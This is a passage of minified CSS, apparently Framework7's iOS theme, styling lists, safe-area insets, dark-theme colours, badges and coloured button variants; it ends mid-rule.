.list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row{padding-left:0}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:15px}.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:15px}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after{right:calc(15px + constant(safe-area-inset-right));right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after{right:calc(15px + const(safe-area-inset-right));right:calc(15px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}.ios .theme-dark .list ul,.list.ios .theme-dark ul{background:#1c1c1d}.ios .theme-dark .list ul:before,.list.ios .theme-dark ul:before{background-color:#282829}.ios .theme-dark .list ul:after,.list.ios .theme-dark ul:after{background-color:#282829}.ios .theme-dark .list li li:last-child .item-inner:after,.ios .theme-dark .list li:last-child li .item-inner:after,.list.ios .theme-dark li li:last-child .item-inner:after,.list.ios .theme-dark li:last-child li .item-inner:after{background-color:#282829}.ios .theme-dark .item-divider:before{background-color:#282829}.ios .theme-dark .list-group-title:before{background-color:#282829}.ios .theme-dark .list-button:after{background-color:#282829}.ios .theme-dark .item-inner:after{background-color:#282829}.ios .theme-dark .item-divider,.ios .theme-dark .list-group-title{background-color:#111}.ios .theme-dark .links-list a:after,.ios .theme-dark .simple-list li:after,.links-list.ios .theme-dark a .simple-list li:after,.simple-list.ios .theme-dark li:after{background-color:#282829}.ios .theme-dark .links-list a.active-state,.ios .theme-dark .list .item-link.active-state,.ios .theme-dark .list .list-button.active-state,.links-list.ios .theme-dark a.active-state,.list.ios .theme-dark .item-link.active-state,.list.ios .theme-dark .list-button.active-state{background-color:#363636}.ios .color-theme-red .list-button{color:#ff3b30}.ios .color-theme-green .list-button{color:#4cd964}.ios .color-theme-blue .list-button{color:#007aff}.ios .color-theme-pink .list-button{color:#ff2d55}.ios .color-theme-yellow .list-button{color:#fc0}.ios .color-theme-orange .list-button{color:#ff9500}.ios .color-theme-gray .list-button{color:#8e8e93}.ios .color-theme-white .list-button{color:#fff}.ios .color-theme-black .list-button{color:#000}.ios .links-list a.color-red,.ios .links-list li.color-red a,.ios .list .item-link.color-red,.ios .list .list-button.color-red,.ios .list li.color-red .item-link,.ios .list li.color-red .list-button,.ios .simple-list li.color-red{color:#ff3b30}.ios .links-list a.color-green,.ios .links-list li.color-green a,.ios .list .item-link.color-green,.ios .list .list-button.color-green,.ios .list li.color-green .item-link,.ios .list li.color-green .list-button,.ios .simple-list li.color-green{color:#4cd964}.ios .links-list a.color-blue,.ios .links-list li.color-blue a,.ios .list .item-link.color-blue,.ios .list .list-button.color-blue,.ios .list li.color-blue .item-link,.ios .list li.color-blue .list-button,.ios .simple-list li.color-blue{color:#007aff}.ios .links-list a.color-pink,.ios .links-list li.color-pink a,.ios .list .item-link.color-pink,.ios .list .list-button.color-pink,.ios .list li.color-pink .item-link,.ios .list li.color-pink .list-button,.ios .simple-list li.color-pink{color:#ff2d55}.ios .links-list a.color-yellow,.ios .links-list li.color-yellow a,.ios .list .item-link.color-yellow,.ios .list .list-button.color-yellow,.ios .list li.color-yellow .item-link,.ios .list li.color-yellow .list-button,.ios .simple-list li.color-yellow{color:#fc0}.ios .links-list a.color-orange,.ios .links-list li.color-orange a,.ios .list .item-link.color-orange,.ios .list .list-button.color-orange,.ios .list li.color-orange .item-link,.ios .list li.color-orange .list-button,.ios .simple-list li.color-orange{color:#ff9500}.ios .links-list a.color-gray,.ios .links-list li.color-gray a,.ios .list .item-link.color-gray,.ios .list .list-button.color-gray,.ios .list li.color-gray .item-link,.ios .list li.color-gray .list-button,.ios .simple-list li.color-gray{color:#8e8e93}.ios .links-list a.color-white,.ios .links-list li.color-white a,.ios .list .item-link.color-white,.ios .list .list-button.color-white,.ios .list li.color-white .item-link,.ios .list li.color-white .list-button,.ios .simple-list li.color-white{color:#fff}.ios .links-list a.color-black,.ios .links-list li.color-black a,.ios .list .item-link.color-black,.ios .list .list-button.color-black,.ios .list li.color-black .item-link,.ios .list li.color-black .list-button,.ios .simple-list li.color-black{color:#000}.badge{display:inline-block;color:#fff;background:#8e8e93;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center}.f7-icons .badge,.framework7-icons .badge,.icon .badge,.material-icons .badge{position:absolute;left:100%;margin-left:-10px;top:-2px}.ios .badge{font-size:13px;border-radius:20px;padding:0 6px;height:20px;line-height:20px}.item-after .ios .badge{min-width:20px}.ios .f7-icons .badge,.ios .framework7-icons .badge,.ios .icon .badge,.ios .material-icons .badge{line-height:16px;height:16px;border-radius:16px;padding:0 4px;min-width:16px;font-family:-apple-system,SF UI Text,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:10px}.ios .badge.color-red{background-color:#ff3b30}.ios .badge.color-green{background-color:#4cd964}.ios .badge.color-blue{background-color:#007aff}.ios .badge.color-pink{background-color:#ff2d55}.ios .badge.color-yellow{background-color:#fc0}.ios .badge.color-orange{background-color:#ff9500}.ios .badge.color-gray{background-color:#8e8e93}.ios .badge.color-white{background-color:#fff}.ios .badge.color-black{background-color:#000}button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.button{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle}input[type=button].button,input[type=submit].button{width:100%}button{width:100%}.segmented{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap}.segmented .button,.segmented button{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.subnavbar .segmented{width:100%}.ios .button{border:1px solid #007aff;color:#007aff;border-radius:5px;line-height:27px;height:29px}.ios .button.active-state{background:rgba(0,122,255,.15)}.ios .button.button-round,.ios .button.button-round-ios{border-radius:29px}.ios .button.button-active,.ios .button.tab-link-active{background:#007aff;color:#fff}.ios .button.button-big,.ios .button.button-big-ios{font-size:17px;height:44px;line-height:42px}.ios .button.button-small,.ios .button.button-small-ios{height:26px;line-height:22px;border-width:2px;font-size:13px;font-weight:600;text-transform:uppercase;-webkit-transition-duration:.2s;transition-duration:.2s}.ios .button.button-small-ios.button-fill-ios.active-state,.ios .button.button-small-ios.button-fill.active-state,.ios .button.button-small.button-fill-ios.active-state,.ios .button.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent;opacity:1}.ios .button.button-fill,.ios .button.button-fill-ios{color:#fff;background:#007aff;border-color:transparent}.ios .button.button-fill-ios.active-state,.ios .button.button-fill.active-state{opacity:.8}.ios .button i.icon:first-child{margin-left:10px}.ios .button i.icon:last-child{margin-right:10px}.ios .button i.icon:first-child:last-child{margin-left:0;margin-right:0}.ios .segmented .button{border-radius:0;border-right-width:0}.ios .segmented .button:first-child{border-radius:0 5px 5px 0;border-right-width:1px;border-right-style:solid}.ios .segmented .button:first-child.button-small{border-right-width:2px}.ios .segmented .button:last-child{border-radius:5px 0 0 5px}.ios .segmented .button:first-child:last-child{border-radius:5px}.ios .segmented .button.button-round-ios:first-child,.ios .segmented .button.button-round:first-child{border-radius:0 29px 29px 0}.ios .segmented .button.button-round-ios:last-child,.ios .segmented .button.button-round:last-child{border-radius:0 29px 29px 0;border-radius:29px 0 0 29px}.ios .color-theme-red .button{border-color:#ff3b30;color:#ff3b30}.ios .color-theme-red .button.active-state{background:rgba(255,59,48,.15)}.ios .color-theme-red .button.button-active,.ios .color-theme-red .button.button-fill,.ios .color-theme-red .button.button-fill-ios,.ios .color-theme-red .button.tab-link-active{color:#fff}.ios .color-theme-red .button.button-active,.ios .color-theme-red .button.tab-link-active{background:#ff3b30}.ios .color-theme-red .button.button-fill,.ios .color-theme-red .button.button-fill-ios{background:#ff3b30;border-color:transparent}.ios .color-theme-red .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-red .button.button-small-ios.button-fill.active-state,.ios .color-theme-red .button.button-small.button-fill-ios.active-state,.ios .color-theme-red .button.button-small.button-fill.active-state{color:#ff3b30;border:2px solid #ff3b30;background-color:transparent}.ios .color-theme-green .button{border-color:#4cd964;color:#4cd964}.ios .color-theme-green .button.active-state{background:rgba(76,217,100,.15)}.ios .color-theme-green .button.button-active,.ios .color-theme-green .button.button-fill,.ios .color-theme-green .button.button-fill-ios,.ios .color-theme-green .button.tab-link-active{color:#fff}.ios .color-theme-green .button.button-active,.ios .color-theme-green .button.tab-link-active{background:#4cd964}.ios .color-theme-green .button.button-fill,.ios .color-theme-green .button.button-fill-ios{background:#4cd964;border-color:transparent}.ios .color-theme-green .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-green .button.button-small-ios.button-fill.active-state,.ios .color-theme-green .button.button-small.button-fill-ios.active-state,.ios .color-theme-green .button.button-small.button-fill.active-state{color:#4cd964;border:2px solid #4cd964;background-color:transparent}.ios .color-theme-blue .button{border-color:#007aff;color:#007aff}.ios .color-theme-blue .button.active-state{background:rgba(0,122,255,.15)}.ios .color-theme-blue .button.button-active,.ios .color-theme-blue .button.button-fill,.ios .color-theme-blue .button.button-fill-ios,.ios .color-theme-blue .button.tab-link-active{color:#fff}.ios .color-theme-blue .button.button-active,.ios .color-theme-blue .button.tab-link-active{background:#007aff}.ios .color-theme-blue .button.button-fill,.ios .color-theme-blue .button.button-fill-ios{background:#007aff;border-color:transparent}.ios .color-theme-blue .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-blue .button.button-small-ios.button-fill.active-state,.ios .color-theme-blue .button.button-small.button-fill-ios.active-state,.ios .color-theme-blue .button.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent}.ios .color-theme-pink .button{border-color:#ff2d55;color:#ff2d55}.ios .color-theme-pink .button.active-state{background:rgba(255,45,85,.15)}.ios .color-theme-pink .button.button-active,.ios .color-theme-pink .button.button-fill,.ios .color-theme-pink .button.button-fill-ios,.ios .color-theme-pink .button.tab-link-active{color:#fff}.ios .color-theme-pink .button.button-active,.ios .color-theme-pink .button.tab-link-active{background:#ff2d55}.ios .color-theme-pink .button.button-fill,.ios .color-theme-pink .button.button-fill-ios{background:#ff2d55;border-color:transparent}.ios .color-theme-pink .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-pink .button.button-small-ios.button-fill.active-state,.ios .color-theme-pink .button.button-small.button-fill-ios.active-state,.ios .color-theme-pink .button.button-small.button-fill.active-state{color:#ff2d55;border:2px solid #ff2d55;background-color:transparent}.ios .color-theme-yellow .button{border-color:#fc0;color:#fc0}.ios .color-theme-yellow .button.active-state{background:rgba(255,204,0,.15)}.ios .color-theme-yellow .button.button-active,.ios .color-theme-yellow .button.button-fill,.ios .color-theme-yellow .button.button-fill-ios,.ios .color-theme-yellow .button.tab-link-active{color:#fff}.ios .color-theme-yellow .button.button-active,.ios .color-theme-yellow .button.tab-link-active{background:#fc0}.ios .color-theme-yellow .button.button-fill,.ios .color-theme-yellow .button.button-fill-ios{background:#fc0;border-color:transparent}.ios .color-theme-yellow .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-yellow .button.button-small-ios.button-fill.active-state,.ios .color-theme-yellow .button.button-small.button-fill-ios.active-state,.ios .color-theme-yellow .button.button-small.button-fill.active-state{color:#fc0;border:2px solid #fc0;background-color:transparent}.ios .color-theme-orange .button{border-color:#ff9500;color:#ff9500}.ios .color-theme-orange .button.active-state{background:rgba(255,149,0,.15)}.ios .color-theme-orange .button.button-active,.ios .color-theme-orange .button.button-fill,.ios .color-theme-orange .button.button-fill-ios,.ios .color-theme-orange .button.tab-link-active{color:#fff}.ios .color-theme-orange .button.button-active,.ios .color-theme-orange .button.tab-link-active{background:#ff9500}.ios .color-theme-orange .button.button-fill,.ios .color-theme-orange .button.button-fill-ios{background:#ff9500;border-color:transparent}.ios .color-theme-orange .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-orange .button.button-small-ios.button-fill.active-state,.ios .color-theme-orange .button.button-small.button-fill-ios.active-state,.ios .color-theme-orange .button.button-small.button-fill.active-state{color:#ff9500;border:2px solid #ff9500;background-color:transparent}.ios .color-theme-gray .button{border-color:#8e8e93;color:#8e8e93}.ios .color-theme-gray .button.active-state{background:rgba(142,142,147,.15)}.ios .color-theme-gray .button.button-active,.ios .color-theme-gray .button.button-fill,.ios .color-theme-gray .button.button-fill-ios,.ios .color-theme-gray .button.tab-link-active{color:#fff}.ios .color-theme-gray .button.button-active,.ios .color-theme-gray .button.tab-link-active{background:#8e8e93}.ios .color-theme-gray .button.button-fill,.ios .color-theme-gray .button.button-fill-ios{background:#8e8e93;border-color:transparent}.ios .color-theme-gray .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-gray .button.button-small-ios.button-fill.active-state,.ios .color-theme-gray .button.button-small.button-fill-ios.active-state,.ios .color-theme-gray .button.button-small.button-fill.active-state{color:#8e8e93;border:2px solid #8e8e93;background-color:transparent}.ios .color-theme-white .button{border-color:#fff;color:#fff}.ios .color-theme-white .button.active-state{background:rgba(255,255,255,.15)}.ios .color-theme-white .button.button-active,.ios .color-theme-white .button.button-fill,.ios .color-theme-white .button.button-fill-ios,.ios .color-theme-white .button.tab-link-active{color:#fff}.ios .color-theme-white .button.button-active,.ios .color-theme-white .button.tab-link-active{background:#fff}.ios .color-theme-white .button.button-fill,.ios .color-theme-white .button.button-fill-ios{background:#fff;border-color:transparent}.ios .color-theme-white .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-white .button.button-small-ios.button-fill.active-state,.ios .color-theme-white .button.button-small.button-fill-ios.active-state,.ios .color-theme-white .button.button-small.button-fill.active-state{color:#fff;border:2px solid #fff;background-color:transparent}.ios .color-theme-black .button{border-color:#000;color:#000}.ios .color-theme-black .button.active-state{background:rgba(0,0,0,.15)}.ios .color-theme-black .button.button-active,.ios .color-theme-black .button.button-fill,.ios .color-theme-black .button.button-fill-ios,.ios .color-theme-black .button.tab-link-active{color:#fff}.ios .color-theme-black .button.button-active,.ios .color-theme-black .button.tab-link-active{background:#000}.ios .color-theme-black .button.button-fill,.ios .color-theme-black .button.button-fill-ios{background:#000;border-color:transparent}.ios .color-theme-black .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-black .button.button-small-ios.button-fill.active-state,.ios .color-theme-black .button.button-small.button-fill-ios.active-state,.ios .color-theme-black .button.button-small.button-fill.active-state{color:#000;border:2px solid #000;background-color:transparent}.ios .button.color-red{border-color:#ff3b30;color:#ff3b30}.ios .button.color-red.active-state{background:rgba(255,59,48,.15)}.ios .button.color-red.button-active,.ios .button.color-red.button-fill,.ios .button.color-red.button-fill-ios,.ios .button.color-red.tab-link-active{color:#fff}.ios .button.color-red.button-active,.ios .button.color-red.tab-link-active{background:#ff3b30}.ios .button.color-red.button-fill,.ios .button.color-red.button-fill-ios{background:#ff3b30;border-color:transparent}.ios .button.color-red.button-small-ios.button-fill-ios.active-state,.ios .button.color-red.button-small-ios.button-fill.active-state,.ios .button.color-red.button-small.button-fill-ios.active-state,.ios .button.color-red.button-small.button-fill.active-state{color:#ff3b30;border:2px solid #ff3b30;background-color:transparent}.ios .button.color-green{border-color:#4cd964;color:#4cd964}.ios .button.color-green.active-state{background:rgba(76,217,100,.15)}.ios .button.color-green.button-active,.ios .button.color-green.button-fill,.ios .button.color-green.button-fill-ios,.ios .button.color-green.tab-link-active{color:#fff}.ios .button.color-green.button-active,.ios .button.color-green.tab-link-active{background:#4cd964}.ios .button.color-green.button-fill,.ios .button.color-green.button-fill-ios{background:#4cd964;border-color:transparent}.ios .button.color-green.button-small-ios.button-fill-ios.active-state,.ios .button.color-green.button-small-ios.button-fill.active-state,.ios .button.color-green.button-small.button-fill-ios.active-state,.ios .button.color-green.button-small.button-fill.active-state{color:#4cd964;border:2px solid #4cd964;background-color:transparent}.ios .button.color-blue{border-color:#007aff;color:#007aff}.ios .button.color-blue.active-state{background:rgba(0,122,255,.15)}.ios .button.color-blue.button-active,.ios .button.color-blue.button-fill,.ios .button.color-blue.button-fill-ios,.ios .button.color-blue.tab-link-active{color:#fff}.ios .button.color-blue.button-active,.ios .button.color-blue.tab-link-active{background:#007aff}.ios .button.color-blue.button-fill,.ios .button.color-blue.button-fill-ios{background:#007aff;border-color:transparent}.ios .button.color-blue.button-small-ios.button-fill-ios.active-state,.ios .button.color-blue.button-small-ios.button-fill.active-state,.ios .button.color-blue.button-small.button-fill-ios.active-state,.ios .button.color-blue.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent}.ios .button.color-pink{border-color:#ff2d55;color:#ff2d55}.ios .button.color-pink.active-state{background:rgba(255,45,85,.15)}.ios .button.color-pink.button-active,.ios .button.color-pink.button-fill,.ios .button.color-pink.button-fill-ios,.ios .button.color-pink.tab-link-active{color:#fff}.ios .button.color-pink.button-active,.ios .button.color-pink.tab-link-active{background:#ff2d55}.ios .button.color-pink.button-fill,.ios .button.color-pink.button-fill-ios{background:#ff2d55;border-color:transparent}.ios .button.color-pink.button-small-ios.button-fill-ios.active-state,.ios .button.color-pink.button-small-ios.button-fill.active-state,.ios .button.color-pink.button-small.button-fill-ios.active-state,.ios .button.color-pink.button-small.button-fill.active-state{color:#ff2d55;border:2px solid #ff2d55;background-color:transparent}.ios .button.color-yellow{border-color:#fc0;color:#fc0}.ios .button.color-yellow.active-state{background:rgba(255,204,0,.15)}.ios .button.color-yellow.button-active,.ios .button.color-yellow.button-fill,.ios .button.color-yellow.button-fill-ios,.ios .button.color-yellow.tab-link-active{color:#fff}.ios .button.color-yellow.button-active,.ios .button.color-yellow.tab-link-active{background:#fc0}.ios .button.color-yellow.button-fill,.ios .button.color-yellow.button-fill-ios{background:#fc0;border-color:transparent}.ios .button.color-yellow.button-small-ios.button-fill-ios.active-state,.ios .button.color-yellow.button-small-ios.button-fill.active-state,.ios .button.color-yellow.button-small.button-fill-ios.active-state,.ios .button.color-yellow.button-small.button-fill.active-state{color:#fc0;border:2px solid #fc0;background-color:transparent}.ios .button.color-orange{border-color:#ff9500;color:#ff9500}.ios .button.color-orange.active-state{background:rgba(255,149,0,.15)}.ios .button.color-orange.button-active,.ios .button.color-orange.button-fill,.ios .button.color-orange.button-fill-ios,.ios .button.color-orange.tab-link-active{color:#fff}.ios .button.color-orange.button-active,.ios .button.color-orange.tab-link-active{background:#ff9500}.ios .button.color-orange.button-fill,.ios .button.color-orange.button-fill-ios{background:#ff9500;border-color:transparent}.ios .button.color-orange.button-small-ios.button-fill-ios.active-state,.ios .button.color-orange.button-small-ios.button-fill.active-state,.ios .button.color-orange.button-small.button-fill-ios.active-state,.ios .button.color-orange.button-small.button-fill.active-state{color:#ff9500;border:2px solid #ff9500;background-color:transparent}.ios .button.color-gray{border-color:#8e8e93;color:#8e8e93}.ios .button.color-gray.active-state{background:rgba(142,142,147,.15)}.ios .button.color-gray.button-active,.ios .button.color-gray.button-fill,.ios .button.color-gray.button-fill-ios,.ios .button.color-gray.tab-link-active{color:#fff}.ios .button.color-gray.button-active,.ios .button.color-gray.tab-link-active{background:#8e8e93}.ios .button.color-gray.button-fill,.ios .button.color-gray.button-fill-ios{background:#8e8e93;border-color:transparent}.ios .button.color-gray.button-small-ios.button-fill-ios.active-state,.ios .button.color-gray.button-small-ios.button-fill.active-state,.ios .button.color-gray.button-small.button-fill-ios.active-state,.ios .button.color-gray.button-small.button-fill.active-state{color:#8e8e93;border:2px solid #8e8e93;background-color:transparent}.ios .button.color-white{border-color:#fff;color:#fff}.ios 